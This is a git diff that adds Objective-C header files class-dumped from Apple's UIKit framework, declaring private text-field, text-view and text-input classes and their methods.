+-(void)keyboardDidShow:(id)keyboard; +-(id)scrollView; +-(CGSize)tileSizeForSize:(CGSize)size; +-(id)styleString; +-(void)recalculateStyle; +-(void)didMoveToSuperview; +-(void)setEmbeddedEditingMode:(BOOL)mode; +-(void)updateWebViewObjects; +-(BOOL)becomeFirstResponder; +-(BOOL)resignFirstResponder; +-(BOOL)canBecomeFirstResponder; +-(BOOL)canResignFirstResponder; +-(BOOL)isFirstResponder; +-(void)ensureSelection; +-(CGPoint)constrainedPoint:(CGPoint)point; +-(void)textLoupeTimerAction; +-(id)automaticallySelectedOverlay; +-(id)_syntheticTouch; +-(void)callSuperTouchBegan:(XXStruct_CKAdxD*)began; +-(void)callSuperTouchMoved:(XXStruct_CKAdxD*)moved; +-(void)callSuperTouchEnded:(XXStruct_CKAdxD*)ended; +-(void)touchBegan:(XXStruct_CKAdxD*)began atLocation:(CGPoint)location; +-(void)touchMoved:(XXStruct_CKAdxD*)moved atLocation:(CGPoint)location; +-(void)touchEnded:(XXStruct_CKAdxD*)ended atLocation:(CGPoint)location loupeActive:(BOOL)active loupeTerminalPoint:(CGPoint)point; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)_scrollViewWillBeginDragging; +-(void)_scrollViewDidEndDraggingWithDeceleration:(BOOL)_scrollView; +-(void)_scrollViewDidEndDecelerating; +-(void)beginSelectionChange; +-(void)updateSelection; +-(void)endSelectionChange; +-(void)selectionChanged; +-(BOOL)hasSelection; +-(int)selectionState; +-(void)clearSelection; +-(int)selectionGranularity; +-(void)startAutoscroll:(CGPoint)autoscroll; +-(void)cancelAutoscroll; +-(void)setSelectionVisible:(BOOL)visible; +-(void)collapseSelection; +-(BOOL)selectionVisible; +-(void)setCaretBlinks:(BOOL)blinks; +-(BOOL)caretBlinks; +-(CGRect)caretRect; +-(CGRect)selectionClipRect; +-(id)selectionRects; +-(BOOL)setRangedSelectionExtentPoint:(CGPoint)point baseIsStart:(BOOL)start; +-(void)setSelectionWithFirstPoint:(CGPoint)firstPoint secondPoint:(CGPoint)point; +-(id)selectedText; +-(void)insertText:(id)text; +-(CGRect)closestCaretRectForPoint:(CGPoint)point inSelection:(BOOL)selection; +-(CGRect)closestCaretRectInMarkedTextRangeForPoint:(CGPoint)point; +-(unsigned)selectionOffsetInMarkedText; +-(BOOL)hasMarkedText; +-(BOOL)pointAtStartOfLine:(CGPoint)line; +-(BOOL)pointAtEndOfLine:(CGPoint)line; +-(BOOL)isPoint:(CGPoint)point inRange:(id)range; +-(id)wordAtPoint:(CGPoint)point; +-(void)moveSelectionToStartOrEndOfCurrentWord; +-(id)markedText; +-(id)wordContainingCaretSelection; +-(id)wordRangeContainingCaretSelection; +-(id)wordInRange:(id)range; +-(int)wordOffsetInRange:(id)range; +-(unsigned short)characterBeforeCaretSelection; +-(BOOL)selectionAtSentenceStart; +-(NSRange)selectionRange; +-(CGRect)rectContainingCaretSelection; +-(id)fontForCaretSelection; +-(unsigned short)characterInRelationToCaretSelection:(int)caretSelection; +-(id)undoManagerForWebView:(id)webView; +-(id)undoManager; +-(void)_hideSelectionCommands; +-(void)_setRtoLTextDirection:(id)direction; +-(void)_setLtoRTextDirection:(id)direction; +-(BOOL)canPerformAction:(SEL)action withSender:(id)sender; +-(void)selectAll; +-(id)supportedPasteboardTypesForCurrentSelection; +-(id)documentFragmentForPasteboardItemAtIndex:(int)index; +-(void)scrollRectToVisible:(CGRect)visible animated:(BOOL)animated; +-(void)webViewDidChange:(id)webView; +-(void)performBecomeEditableTasks; +-(void)setFrame:(CGRect)frame; +-(BOOL)isSMSTextView; +-(void)setSelectionWithPoint:(CGPoint)point; +-(void)setSelectionToStart; +-(void)setSelectionToEnd; +-(CGRect)rectForSelection:(NSRange)selection; +-(void)scrollSelectionToVisible:(BOOL)visible; +-(void)performScrollSelectionToVisible:(BOOL)visible; +-(void)touchScrollToVisibleTimerWithDelay:(double)delay; +-(void)touchScrollToVisibleTimer; +-(void)clearScrollToVisibleTimer; +-(void)scrollToVisibleTimerAction; +-(CGRect)rectForScrollToVisible; +-(void)setContentToHTMLString:(id)htmlstring; +-(id)contentAsHTMLString; +-(id)textInputTraits; +-(void)forwardInvocation:(id)invocation; +-(id)methodSignatureForSelector:(SEL)selector; +-(BOOL)hasText; +-(BOOL)becomesEditableWithGestures; +-(void)setBecomesEditableWithGestures:(BOOL)gestures; +-(int)marginTop; +-(void)setMarginTop:(int)top; +-(CGRect)visibleRect; +-(CGRect)visibleTextRect; +-(id)webView; +-(void)_didScroll; +-(void)scrollRangeToVisible:(NSRange)visible; +-(BOOL)shouldStartDataDetectors; +-(void)cancelDataDetectorsWithWebLock; +-(void)startDataDetectorsWithWebLock; +-(void)resetDataDetectorsResultsWithWebLock; +-(unsigned)dataDetectorTypes; +-(void)setDataDetectorTypes:(unsigned)types; +-(BOOL)mightHaveLinks; +-(void)tapLinkAtPoint:(CGPoint)point; +-(void)startInteractionWithLinkAtPoint:(CGPoint)point; +-(void)updateInteractionWithLinkAtPoint:(CGPoint)point; +-(void)validateInteractionWithLinkAtPoint:(CGPoint)point; +-(void)cancelInteractionWithLink; +-(void)startLongInteractionWithLinkAtPoint:(CGPoint)point; +-(BOOL)isInteractingWithLink; +-(BOOL)willInteractWithLinkAtPoint:(CGPoint)point; +-(BOOL)keyboardInput:(id)input shouldReplaceTextInRange:(NSRange)range replacementText:(id)text; +-(BOOL)keyboardInput:(id)input shouldInsertText:(id)text isMarkedText:(BOOL)text3; +-(BOOL)keyboardInputShouldDelete:(id)keyboardInput; +-(BOOL)keyboardInputChanged:(id)changed; +-(void)keyboardInputChangedSelection:(id)selection; +-(int)keyboardInput:(id)input positionForAutocorrection:(id)autocorrection; +-(void)webView:(id)view decidePolicyForNavigationAction:(id)navigationAction request:(id)request frame:(id)frame decisionListener:(id)listener; +-(void)setBottomBufferHeight:(float)height; +-(float)bottomBufferHeight; +-(void)setShowScrollerIndicators:(BOOL)indicators; +-(BOOL)showScrollerIndicators; +-(void)displayScrollerIndicators; +-(void)setOffset:(CGPoint)offset; +-(CGPoint)offset; +-(void)setAllowsRubberBanding:(BOOL)banding; +-(void)setScrollingEnabled:(BOOL)enabled; +-(BOOL)scrollingEnabled; +-(void)setAllowsFourWayRubberBanding:(BOOL)banding; +-(void)setScrollerIndicatorSubrect:(CGRect)subrect; +@end + +@interface UITextContentView (SyntheticEvents) +-(id)_automationValue; +@end + diff --git a/igor/headers/dumpedUIKit/UITextEffectsOrdering.h b/igor/headers/dumpedUIKit/UITextEffectsOrdering.h new file mode 100644 index 0000000..fef6cec --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextEffectsOrdering.h @@ -0,0 +1,13 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + + + +@protocol UITextEffectsOrdering +-(int)textEffectsVisibilityLevel; +@end + diff --git a/igor/headers/dumpedUIKit/UITextEffectsWindow.h b/igor/headers/dumpedUIKit/UITextEffectsWindow.h new file mode 100644 index 0000000..9142c96 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextEffectsWindow.h @@ -0,0 +1,34 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIWindow.h" + +@class NSMutableArray; + +@interface UITextEffectsWindow : UIWindow { + unsigned _activeEffectsCount; + int _interfaceOrientation; + NSMutableArray* _touchableSubviews; +} ++(id)sharedTextEffectsWindow; ++(id)sharedTextEffectsWindowAboveStatusBar; +-(BOOL)acceptsGlobalPoint:(CGPoint)point; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(id)initWithFrame:(CGRect)frame output:(int)output bitsPerComponent:(int)component; +-(void)dealloc; +-(void)_didRemoveSubview:(id)subview; +-(void)didAddSubview:(id)subview; +-(void)_subviewInteractivityChanged:(id)changed; +-(void)bringSubviewToFront:(id)front; +-(void)sendSubviewToBack:(id)back; +-(void)sortSubviews; +-(void)updateForOrientation:(int)orientation; +-(void)matchDeviceOrientation; +-(BOOL)_isTextEffectsWindow; +@end + diff --git a/igor/headers/dumpedUIKit/UITextField.h b/igor/headers/dumpedUIKit/UITextField.h new file mode 100644 index 0000000..495277f --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextField.h @@ -0,0 +1,308 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIControl.h" +#import "NSCoding.h" +#import "UITextField.h" +#import "UITextInputTraits.h" +#import "UIKit-Structs.h" + +@class UITextInteractionAssistant, UITextSelectionView, UIColor, UITextFieldAtomBackgroundView, UITextFieldBorderView, UITextFieldLabel, UITextInputTraits, UIImage, NSString, UIImageView, UITextFieldBackgroundView, UILabel, UIFont; +@protocol UITextFieldDelegate; + +@interface UITextField : UIControl { +@private + NSString* _text; + UIColor* _textColor; + int _borderStyle; + float _minimumFontSize; + id _delegate; + UIImage* _background; + UIImage* _disabledBackground; + int _clearButtonMode; + UIView* _leftView; + int _leftViewMode; + UIView* _rightView; + int _rightViewMode; + UITextInputTraits* _traits; + UITextInputTraits* _nonAtomTraits; + float _fullFontSize; + float _paddingLeft; + float _paddingTop; + float _paddingRight; + float _paddingBottom; + NSString* _textFont; + UIColor* _caretColor; + NSRange _selectionRange; + int _scrollXOffset; + int _scrollYOffset; + float _progress; + NSString* _style; + double _mouseDownTime; + UIView* _clearButton; + CGSize _clearButtonOffset; + CGSize _leftViewOffset; + CGSize _rightViewOffset; + UITextFieldBorderView* _backgroundView; + UITextFieldBorderView* _disabledBackgroundView; + UITextFieldBackgroundView* _systemBackgroundView; + UITextFieldLabel* _textLabel; + UITextFieldLabel* _placeholderLabel; + UIImageView* _iconView; + UILabel* _label; + float _labelOffset; + UITextInteractionAssistant* _interactionAssistant; + UITextSelectionView* _selectionView; + UITextFieldAtomBackgroundView* _atomBackgroundView; + struct { + unsigned secureTextChanged : 1; + unsigned guard : 1; + unsigned delegateRespondsToHandleKeyDown : 1; + unsigned verticallyCenterText : 1; + unsigned isAnimating : 4; + unsigned inactiveHasDimAppearance : 1; + unsigned becomesFirstResponderOnClearButtonTap : 1; + unsigned clearsOnBeginEditing : 1; + unsigned adjustsFontSizeToFitWidth : 1; + unsigned fieldEditorAttached : 1; + unsigned inBecomeFirstResponder : 1; + unsigned becomingFirstResponder : 1; + unsigned undoDisabled : 1; + unsigned contentsRTL : 1; + unsigned explicitAlignment : 1; + } _textFieldFlags; +} +@property(assign, nonatomic) int autocapitalizationType; +@property(assign, nonatomic) int autocorrectionType; +@property(assign, nonatomic) int keyboardType; +@property(assign, nonatomic) int keyboardAppearance; +@property(assign, nonatomic) int returnKeyType; +@property(assign, nonatomic) BOOL enablesReturnKeyAutomatically; +@property(assign, nonatomic, getter=isSecureTextEntry) BOOL secureTextEntry; +@property(assign, nonatomic) int borderStyle; +@property(assign, nonatomic) float minimumFontSize; +@property(assign, nonatomic) id delegate; +@property(retain, nonatomic) UIImage* background; +@property(retain, nonatomic) UIImage* disabledBackground; +@property(assign, nonatomic) int clearButtonMode; +@property(retain, nonatomic) UIView* leftView; +@property(assign, nonatomic) int leftViewMode; +@property(retain, nonatomic) UIView* rightView; +@property(assign, nonatomic) int rightViewMode; +@property(readonly, assign, nonatomic, getter=isEditing) BOOL editing; +@property(assign, nonatomic) BOOL adjustsFontSizeToFitWidth; +@property(assign, nonatomic) BOOL clearsOnBeginEditing; +@property(copy, nonatomic) NSString* placeholder; +@property(assign, nonatomic) int textAlignment; +@property(retain, nonatomic) UIFont* font; +@property(retain, nonatomic) UIColor* textColor; +@property(copy, nonatomic) NSString* text; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)_clearStyle; +-(void)_setNeedsStyleRecalc; +-(void)_sizeChanged:(BOOL)changed; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(void)setAnimating:(BOOL)animating; +-(CGSize)_textSize; +-(CGSize)sizeThatFits:(CGSize)fits; +-(BOOL)canBecomeFirstResponder; +-(BOOL)canResignFirstResponder; +-(BOOL)becomeFirstResponder; +-(BOOL)isFirstResponder; +-(id)_firstResponder; +-(BOOL)resignFirstResponder; +-(BOOL)_sendInitialMouseEvents; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)setFont:(id)font fullFontSize:(float)size; +-(id)_copyFont:(id)font newSize:(float)size maxSize:(float)size3; +-(float)_marginTopForText:(id)text; +-(id)_style; +-(void)_endedEditing; +-(void)_updateButtons; +-(void)_updateAutosizeStyleIfNeeded; +-(CGRect)_atomBackgroundViewFrame; +-(BOOL)_showsAtomBackground; +-(void)_updateAtomBackground; +-(BOOL)_showsClearButton:(BOOL)button; +-(BOOL)_showsLeftView; +-(BOOL)_showsRightView; +-(CGRect)_textRectForBounds:(CGRect)bounds forEditing:(BOOL)editing; +-(CGRect)_textRectExcludingButtonsForBounds:(CGRect)bounds; +-(void)_updateLabel; +-(CGRect)_frameForLabel:(id)label inTextRect:(CGRect)textRect; +-(void)layoutSubviews; +-(BOOL)_shouldEndEditing; +-(void)_updateBackgroundViews; +-(void)_clearBackgroundViews; +-(void)_setImplicitAlignment; +-(CGPoint)_scrollOffset; +-(CGSize)_leftViewOffset; +-(void)_setLeftViewOffset:(CGSize)offset; +-(CGSize)_rightViewOffset; +-(void)_setRightViewOffset:(CGSize)offset; +-(Class)_systemBackgroundViewClass; +-(BOOL)_fieldEditorAttached; +-(void)_setSystemBackgroundViewActive:(BOOL)active; +-(id)_placeholderView; +-(id)_textLabelView; +-(id)textInputTraits; +-(void)forwardInvocation:(id)invocation; +-(id)methodSignatureForSelector:(SEL)selector; +-(void)_updateTextLabel; +-(id)_text; +-(id)searchText; +-(void)_updateTextColor; +-(void)setContentVerticalAlignment:(int)alignment; +-(id)createPlaceholderLabelWithFont:(id)font andTextAlignment:(int)alignment; +-(id)createTextLabelWithTextColor:(id)textColor; +-(CGRect)borderRectForBounds:(CGRect)bounds; +-(CGRect)textRectForBounds:(CGRect)bounds; +-(CGRect)placeholderRectForBounds:(CGRect)bounds; +-(CGRect)editingRectForBounds:(CGRect)bounds; +-(CGRect)clearButtonRectForBounds:(CGRect)bounds; +-(CGRect)leftViewRectForBounds:(CGRect)bounds; +-(CGRect)rightViewRectForBounds:(CGRect)bounds; +-(void)drawTextInRect:(CGRect)rect; +-(void)drawPlaceholderInRect:(CGRect)rect; +-(void)_drawTextInRect:(CGRect)rect forLabel:(id)label; +-(void)willAttachFieldEditor:(id)editor; +-(void)attachFieldEditor:(id)editor; +-(void)willDetachFieldEditor:(id)editor; +-(BOOL)keyboardInput:(id)input shouldInsertText:(id)text isMarkedText:(BOOL)text3; +-(BOOL)keyboardInputShouldDelete:(id)keyboardInput; +-(BOOL)keyboardInputChanged:(id)changed; +-(void)keyboardInputChangedSelection:(id)selection; +-(id)customOverlayContainer; +-(int)keyboardInput:(id)input positionForAutocorrection:(id)autocorrection; +-(BOOL)fieldEditorShouldEndEditing:(id)fieldEditor; +-(void)fieldEditorDidBecomeFirstResponder:(id)fieldEditor; +-(void)fieldEditorDidResignFirstResponder:(id)fieldEditor; +-(void)fieldEditorDidChange:(id)fieldEditor; +-(void)selectAllFromFieldEditor:(id)fieldEditor; +-(NSRange)fieldEditor:(id)editor willChangeSelectionFromCharacterRange:(NSRange)characterRange toCharacterRange:(NSRange)characterRange3; +-(void)fieldEditorDidChangeSelection:(id)fieldEditor; +-(BOOL)fieldEditor:(id)editor shouldInsertText:(id)text replacingRange:(NSRange)range; +-(BOOL)fieldEditor:(id)editor shouldReplaceWithText:(id)text; +-(BOOL)webView:(id)view shouldInsertText:(id)text replacingDOMRange:(id)range givenAction:(int)action; +-(id)supportedPasteboardTypesForCurrentSelection; +-(id)documentFragmentForPasteboardItemAtIndex:(int)index; +-(void)setAutoresizesTextToFit:(BOOL)fit; +-(void)setTextAutorresizesToFit:(BOOL)fit; +-(void)setClearButtonStyle:(int)style; +-(CGRect)clearButtonRect; +-(CGRect)textRect; +-(CGRect)editRect; +-(void)drawRect:(CGRect)rect; +-(void)drawBorder:(CGRect)border; +-(void)setPaddingTop:(float)top paddingLeft:(float)left; +-(void)setPaddingLeft:(float)left; +-(float)paddingLeft; +-(void)setPaddingTop:(float)top; +-(float)paddingTop; +-(void)setPaddingBottom:(float)bottom; +-(float)paddingBottom; +-(void)setPaddingRight:(float)right; +-(float)paddingRight; +-(void)setTextFont:(id)font; +-(void)setInactiveHasDimAppearance:(BOOL)appearance; +-(void)setEnabled:(BOOL)enabled; +-(void)selectAll; +-(void)layoutTilesNow; +-(void)clearText; +-(NSRange)selectionRange; +-(void)setSelectionRange:(NSRange)range; +-(unsigned)characterOffsetAtPoint:(CGPoint)point; +-(void)setIcon:(id)icon; +-(CGSize)clearButtonOffset; +-(void)setBecomesFirstResponderOnClearButtonTap:(BOOL)tap; +-(CGRect)iconRect; +-(void)setProgress:(float)progress; +-(BOOL)hasMarkedText; +-(void)setLabelOffset:(float)offset; +-(id)textLabel; +-(void)setLabel:(id)label; +-(void)setTextCentersHorizontally:(BOOL)horizontally; +-(void)setTextCentersVertically:(BOOL)vertically; +-(void)setUndoEnabled:(BOOL)enabled; +-(BOOL)isUndoEnabled; +-(void)_clearButtonClicked:(id)clicked; +-(void)setClearButtonOffset:(CGSize)offset; +-(void)setDrawsAsAtom:(BOOL)atom; +-(BOOL)drawsAsAtom; +-(void)setAtomStyle:(int)style; +-(int)atomStyle; +-(id)undoManager; +-(id)content; +-(BOOL)isEditable; +-(void)beginSelectionChange; +-(void)endSelectionChange; +-(void)selectionChanged; +-(id)_fieldEditor; +-(BOOL)hasSelection; +-(int)selectionState; +-(void)clearSelection; +-(int)selectionGranularity; +-(void)setSelectionGranularity:(int)granularity; +-(BOOL)selectionGranularityIncreasing; +-(void)setSelectionGranularityIncreasing:(BOOL)increasing; +-(void)setSelectionToNextGranularity:(CGPoint)nextGranularity; +-(void)startAutoscroll:(CGPoint)autoscroll; +-(void)cancelAutoscroll; +-(void)setSelectionVisible:(BOOL)visible; +-(void)collapseSelection; +-(BOOL)selectionVisible; +-(void)setCaretBlinks:(BOOL)blinks; +-(BOOL)caretBlinks; +-(id)selectionView; +-(id)interactionAssistant; +-(CGRect)caretRect; +-(CGRect)selectionClipRect; +-(id)selectionRects; +-(BOOL)setRangedSelectionExtentPoint:(CGPoint)point baseIsStart:(BOOL)start; +-(void)setSelectionWithFirstPoint:(CGPoint)firstPoint secondPoint:(CGPoint)point; +-(id)selectedText; +-(void)insertText:(id)text; +-(CGRect)closestCaretRectForPoint:(CGPoint)point inSelection:(BOOL)selection; +-(CGRect)closestCaretRectInMarkedTextRangeForPoint:(CGPoint)point; +-(unsigned)selectionOffsetInMarkedText; +-(id)wordAtPoint:(CGPoint)point; +-(BOOL)pointAtStartOfLine:(CGPoint)line; +-(BOOL)pointAtEndOfLine:(CGPoint)line; +-(void)moveSelectionToStartOrEndOfCurrentWord; +-(void)setSelectionWithPoint:(CGPoint)point; +-(CGPoint)constrainedPoint:(CGPoint)point; +-(id)webView; +-(void)cut:(id)cut; +-(void)copy:(id)copy; +-(id)supportedPasteboardTypes; +-(void)paste:(id)paste; +-(void)select:(id)select; +-(void)selectAll:(id)all; +-(void)_setRtoLTextDirection:(id)direction; +-(void)_setLtoRTextDirection:(id)direction; +-(BOOL)canPerformAction:(SEL)action withSender:(id)sender; +@end + +@interface UITextField (SyntheticEvents) +-(id)_scriptingInfo; +@end + +@interface UITextField (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isAccessibilityElementByDefault; +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UITextFieldAtomBackgroundView.h b/igor/headers/dumpedUIKit/UITextFieldAtomBackgroundView.h new file mode 100644 index 0000000..c5f0369 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextFieldAtomBackgroundView.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UITextFieldAtomBackgroundView : UIView { +@private + int _atomStyle; +} ++(id)_blueAtomBackgroundImage; ++(id)_purpleAtomBackgroundImage; +-(id)initWithFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +-(int)atomStyle; +-(void)setAtomStyle:(int)style; +@end + diff --git a/igor/headers/dumpedUIKit/UITextFieldBackgroundView.h b/igor/headers/dumpedUIKit/UITextFieldBackgroundView.h new file mode 100644 index 0000000..adb5d05 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextFieldBackgroundView.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UITextFieldBackgroundView : UIView { +@private + BOOL _active; + float _progress; +} +-(void)_updateImages; +-(id)initWithFrame:(CGRect)frame active:(BOOL)active; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(void)setActive:(BOOL)active; +-(void)setProgress:(float)progress; +-(BOOL)ignoresMouseEvents; +@end + diff --git a/igor/headers/dumpedUIKit/UITextFieldBorderView.h b/igor/headers/dumpedUIKit/UITextFieldBorderView.h new file mode 100644 index 0000000..986e39c --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextFieldBorderView.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UITextFieldBorderView : UIView { +@private + UIImage* _image; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setImage:(id)image; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UITextFieldDelegate.h b/igor/headers/dumpedUIKit/UITextFieldDelegate.h new file mode 100644 index 0000000..461bf66 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextFieldDelegate.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" +#import "UIKit-Structs.h" + + +@protocol UITextFieldDelegate +@optional +-(BOOL)textFieldShouldBeginEditing:(id)textField; +-(void)textFieldDidBeginEditing:(id)textField; +-(BOOL)textFieldShouldEndEditing:(id)textField; +-(void)textFieldDidEndEditing:(id)textField; +-(BOOL)textField:(id)field shouldChangeCharactersInRange:(NSRange)range replacementString:(id)string; +-(BOOL)textFieldShouldClear:(id)textField; +-(BOOL)textFieldShouldReturn:(id)textField; +@end + diff --git a/igor/headers/dumpedUIKit/UITextFieldLabel.h b/igor/headers/dumpedUIKit/UITextFieldLabel.h new file mode 100644 index 0000000..8e532c4 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextFieldLabel.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILabel.h" + + +__attribute__((visibility("hidden"))) +@interface UITextFieldLabel : UILabel { +} +-(void)_defaultDrawTextInRect:(CGRect)rect; +-(void)drawTextInRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITextFieldRoundedRectBackgroundView.h b/igor/headers/dumpedUIKit/UITextFieldRoundedRectBackgroundView.h new file mode 100644 index 0000000..5f5c865 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextFieldRoundedRectBackgroundView.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITextFieldBackgroundView.h" + +@class UIImageView; + +__attribute__((visibility("hidden"))) +@interface UITextFieldRoundedRectBackgroundView : UITextFieldBackgroundView { +@private + UIImageView* _imageViews[3][4]; +} +-(void)dealloc; +-(void)_updateImages; +-(void)layoutSubviews; +@end + diff --git a/igor/headers/dumpedUIKit/UITextInputTraits.h b/igor/headers/dumpedUIKit/UITextInputTraits.h new file mode 100644 index 0000000..83801cc --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextInputTraits.h @@ -0,0 +1,72 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITextInputTraits_Private.h" +#import "UIKit-Structs.h" +#import "NSCopying.h" +#import +#import "NSObject.h" +#import "UITextInputTraits.h" + +@class UIColor; + +@protocol UITextInputTraits +@optional +@property(assign, nonatomic) int autocapitalizationType; +@property(assign, nonatomic) int autocorrectionType; +@property(assign, nonatomic) int keyboardType; +@property(assign, nonatomic) int keyboardAppearance; +@property(assign, nonatomic) int returnKeyType; +@property(assign, nonatomic) BOOL enablesReturnKeyAutomatically; +@property(assign, nonatomic, getter=isSecureTextEntry) BOOL secureTextEntry; +@end + +@interface UITextInputTraits : NSObject { + int autocapitalizationType; + int autocorrectionType; + int keyboardType; + int keyboardAppearance; + int returnKeyType; + BOOL enablesReturnKeyAutomatically; + BOOL secureTextEntry; + CFCharacterSetRef textTrimmingSet; + UIColor* insertionPointColor; + unsigned insertionPointWidth; + int textLoupeVisibility; + int textSelectionBehavior; + id textSuggestionDelegate; + BOOL contentsIsSingleValue; + BOOL acceptsEmoji; +} +@property(assign, nonatomic) int autocapitalizationType; +@property(assign, nonatomic) int autocorrectionType; +@property(assign, nonatomic) int keyboardType; +@property(assign, nonatomic) int keyboardAppearance; +@property(assign, nonatomic) int returnKeyType; +@property(assign, nonatomic) BOOL enablesReturnKeyAutomatically; +@property(assign, nonatomic, getter=isSecureTextEntry) BOOL secureTextEntry; +@property(assign, nonatomic) CFCharacterSetRef textTrimmingSet; +@property(retain, nonatomic) UIColor* insertionPointColor; +@property(assign, nonatomic) unsigned insertionPointWidth; +@property(assign, nonatomic) int textLoupeVisibility; +@property(assign, nonatomic) int textSelectionBehavior; +@property(assign, nonatomic) id textSuggestionDelegate; +@property(assign, nonatomic) BOOL contentsIsSingleValue; +@property(assign, nonatomic) BOOL acceptsEmoji; ++(id)defaultTextInputTraits; ++(BOOL)keyboardTypeRequiresASCIICapable:(int)capable; +-(void)setToSecureValues; +-(id)dictionaryRepresentation; +-(id)init; +-(void)dealloc; +-(void)setToDefaultValues; +-(void)takeTraitsFrom:(id)from; +-(id)copyWithZone:(NSZone*)zone; +-(id)description; +-(BOOL)isEqual:(id)equal; +@end + diff --git a/igor/headers/dumpedUIKit/UITextInputTraits_Private.h b/igor/headers/dumpedUIKit/UITextInputTraits_Private.h new file mode 100644 index 0000000..6f09a50 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextInputTraits_Private.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSObject.h" +#import "UITextInputTraits.h" + +@class UIColor; + +@protocol UITextInputTraits_Private +@optional +@property(assign, nonatomic) CFCharacterSetRef textTrimmingSet; +@property(retain, nonatomic) UIColor* insertionPointColor; +@property(assign, nonatomic) unsigned insertionPointWidth; +@property(assign, nonatomic) int textLoupeVisibility; +@property(assign, nonatomic) int textSelectionBehavior; +@property(assign, nonatomic) id textSuggestionDelegate; +@property(assign, nonatomic) BOOL contentsIsSingleValue; +@property(assign, nonatomic) BOOL acceptsEmoji; +@required +-(void)takeTraitsFrom:(id)from; +@end + diff --git a/igor/headers/dumpedUIKit/UITextInteractionAssistant.h b/igor/headers/dumpedUIKit/UITextInteractionAssistant.h new file mode 100644 index 0000000..75aa112 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextInteractionAssistant.h @@ -0,0 +1,100 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class NSMutableArray, UIFieldEditor, UIScrollView, UILongPressGestureRecognizer, UIView; +@protocol UITextSelectingContainer; + 